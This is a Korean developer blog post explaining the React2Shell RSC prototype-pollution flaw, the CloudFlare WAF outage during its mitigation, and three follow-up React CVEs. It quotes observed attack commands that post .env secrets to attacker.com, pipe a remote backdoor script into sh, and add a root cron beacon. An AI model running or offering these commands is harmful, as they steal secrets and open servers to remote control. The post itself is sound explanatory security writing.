React의 CVE 보안 취약점이 연달아 터졌다. (feat. CloudFlare WAF 이슈)

728x90

서론

최근 CloudFlare에 두 차례 큰 장애가 발생했습니다.
Zoom, Linkedin, Claude Code, League of Legends, Coinbase 등 CloudFlare를 사용하고 있는 서비스들에서 수십 분에서 수 시간 정도의 다운타임이 발생했어요.

두 장애 중 하나는 이번 주제와 관련 없는 DB 권한 변경으로 인한 설정 파일의 팽창 문제였어요.

중복 행으로 인해 비정상적으로 커지면서 메모리 제한을 초과하고 결국 전체 네트워크의 프록시가 패닉 상태에 빠진 사고였습니다.

이번 글에서 다룰 주제는 CloudFlare 장애의 원인이 된 또 다른 원인인 React 측의 장애에 대한 내용입니다.

장애 보고서에 따르면 CloudFlare 측에서 React CVE를 해결하는 과정에서 WAF 설정을 잘못 건드려서 터졌다고 해요.

최근 초대형 클라우드 서비스나 프레임워크 등에 연달아 이슈들이 발생하다보니 호기심에 파보기 시작했는데요.

현업이나 사이드 프로젝트에서 이슈가 없었어서 와닿지는 않았지만 찾아보니 React 측 보안 이슈는 생각보다 심각한 것 같습니다.

CVSS 10.0의 최고 심각도 보안 취약점
공개 수 시간 만에 중국 국가 연계 해킹 그룹들이 악용
일주일 만에 추가적인 3개의 취약점이 더 발견됨

이 역사의 현장(?)에 한 명의 개발자로써 기억을 남기고자 포스팅을 남깁니다.

React2Shell (CVE-2025-55182)

11월 29일, React Server Function으로 전송되는 페이로드를 React가 디코딩하는 방식의 결함을 악용하여 인증 없이 원격 코드 실행을 허용하는 React의 보안 취약점이 보고되었어요.

이는 CVSS 10.0의 최고 수준의 보안 취약점이에요.

이 점수가 나오려면 CVSS 공식 매트릭의 모든 항목에서 가장 취약한 값을 받아야 합니다.

인증 없이 원격에서 공격 가능하고, 특별한 조건 없이 전체 시스템에 영향을 줄 수 있는 상황이에요.
(자세한 CVSS 표준은 FIRST 공식 문서를 확인해보세요)

원인

이 취약점의 핵심은 RSC(React Server Component)의 서버 사이드 Prototype Pollution(오염) 입니다.

RSC는 클라이언트에서 서버로 데이터를 전송할 때 직렬화/역직렬화를 수행해요.

express의 express.json()이나 DRF의 Serializer처럼 프레임워크가 처리해주는 영역이에요.

문제는 이 역직렬화 과정에서 사용자 입력을 제대로 검증하지 않았다는 점이에요.

공격 흐름

입력을 제대로 검증하지 않으니 공격자가 __proto__ 속성을 포함한 악성 페이로드를 전송하면, 서버가 이를 역직렬화하는 과정에서 Object.prototype 자체가 오염되는 문제가 발생할 수 있고, 실제로 발생했습니다.

실제 React 코드에서 어떤 부분이 문제였는지 살펴보겠습니다.

// react-server-dom-webpack (취약 버전)
return moduleExports[metadata[NAME]];

// react-server-dom-webpack (19.0.1+)
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
  return moduleExports[metadata[NAME]];
}

위 코드는 취약점 패치 전후의 코드입니다.

아무런 검증이 없던 기존 코드에서는 해당 객체의 속성을 검증하지 않았기 때문에 프로토타입 체인에도 접근할 수 있었던거죠.

이 취약점을 악용해서 공격자는 서버에서 임의의 코드를 실행할 수 있어요

위에 플로우차트 형태로 정리한 것 처럼, 단순 환경 변수를 탈취하는 것을 넘어서 실제 스크립트도 JavaScript로 실행이 가능하다보니 많은 문제들이 발생할 수 있는거죠

데이터독의 Security Labs에서 공개한 실제 관찰된 공격 명령들이에요.

# 환경변수 탈취
cat ./.env | curl -X POST -d @- http://attacker.com/collect

# 시스템 정보 수집
uname -a && whoami && hostname

# 원격 셸 다운로드 및 실행
curl http://[공격자IP]:8080/backdoor.sh | sh

# 크론으로 지속적인 공격이나 탈취 가능
echo "* * * * * /tmp/.hidden/beacon" >> /var/spool/cron/crontabs/root

영향 범위

공식 문서에 따르면 영향 범위는 아래와 같아요.

위 버전이 포함된 RSC 관련 라이브러리를 사용한 모든 곳에서는 문제가 발생할 수 있겠죠. 가령 Next,React Router, Vite 등에서요.

실제 악용 사례

CVE-2025-55182가 12월 3일 공개되자마자, 수 시간 내에 악용이 시작됐습니다.

AWS Security Blog와 Google Blog에 따르면 중국 국가 연계 APT 그룹들이 공개 직후부터 악용을 시작했다고 해요.

CloudFlare의 장애

CloudFlare는 취약점이 공개되자마자 WAF Rule을 배포하여 문제를 해결하려고 했습니다.

문제는 악성 페이로드가 이미 너무 커서 기존 WAF Buffer(128KB)로는 검사가 안 됐다는 거에요.

그래서 버퍼를 1MB로 긴급 증설하다가 전체 트래픽의 28%에 영향을 주는 거대한 장애가 터졌습니다.

아이러니하게도 보안을 강화하려다 서비스가 터진 웃픈 케이스인데요, 그만큼 긴급하게 배포하려고 했던 것 같습니다.

추가 취약점이 또 발견되다

React2Shell 취약점이 터진 지 약 일주일 만에 추가로 3개의 취약점이 더 공개되었는데요. 하나씩 살펴보도록 할게요.

CVE-2025-55184 / CVE-2025-67779

악성 HTTP 요청으로 React 서버가 무한 루프에 빠지는 취약점이 발생했습니다. 이는 곧 DoS 공격으로 발전(?)할 수 있어요.

DoS(Denial of Service)

컴퓨터나 네트워크를 중단시켜 의도된 사용자가 액세스할 수 없게 만드는 공격으로 표적에 트래픽을 쏟아붓거나 충돌을 유발하는 정보를 전송해요. 악의적인 행위자가 장치의 정상적인 작동을 방해하여 컴퓨터 또는 기타 장치를 사용하려는 사용자가 해당 장치를 사용할 수 없게 만드는 것을 목표로 공격한다고 해요.

CVE-2025-55183

서버 함수의 소스 코드가 노출될 수도 있는 문제도 발생할 수 있었다고해요. 원문에서는 Source Code Exposure라고 표현했습니다.

'use server';

export async function createUser(name) {
  // API 키가 노출될 수 있음
  const conn = db.connect('API_KEY_HARDCODED_12345');
  const user = await conn.createUser(name);

  return {
    id: user.id,
    message: `Hello, ${name}!`
  };
}

{
  "message": "Hello, async function(a){
    const conn = db.connect('API_KEY_HARDCODED_12345');
    return {id:(await conn.createUser(a)).id, message:`Hello, ${a}!`}
  }!"
}

물론 예시에서처럼, 실제 프로덕션의 환경 변수를 매직 스트링 형태로 작성하거나 환경 변수 파일을 그대로 레포지토리에 관리하지는 않겠지만, 함수 전체의 소스 코드 자체가 문자열로 직렬화되어 응답에 포함될 수 있었다고 합니다.

정리

한국에서는 점유율이 압도적인 원탑인 프론트엔드 프레임워크에서 여러 취약점들이 잇따라 발생한 이례적인 상황인 것 같습니다.

한 명의 개발자로써, 여러 기술들을 필연적으로 사용하다보니 언젠가는 저에게도 발생할 수 있는 이슈라고 생각하고 빠르게 대응할 수 있도록 항상 눈과 귀를 열어두는 것도 중요하다는 것을 다시 한 번 깨닫게 되는 것 같습니다.

주제와는 별개일 수 있지만, 오픈소스에 꾸준히 기여하는 한 사람으로서도 여러 기여를 하면서 특히 보안적인 이슈들은 Breaking Changes보다 더 각별하게 신경쓰고, 검토하고 또 검토하면서 기여를 해나가야 될 것 같다라는 생각이 드네요. 제 한 줄의 코드가 엄청난 파급력을 전파할 수 있다는 것을 다시한 번 깨닫게 되는 것 같습니다 허허...

마지막으로,

더 상세하게, 그리고 실제 코드 베이스를 기반으로 이번 취약점을 직접 확인해보고 싶으신 분들은 개인적으로 코드팩토리님의 영상이 가장 간단하지만 쉽게 설명되어 있으니 확인해보시면 좋을 것 같아요.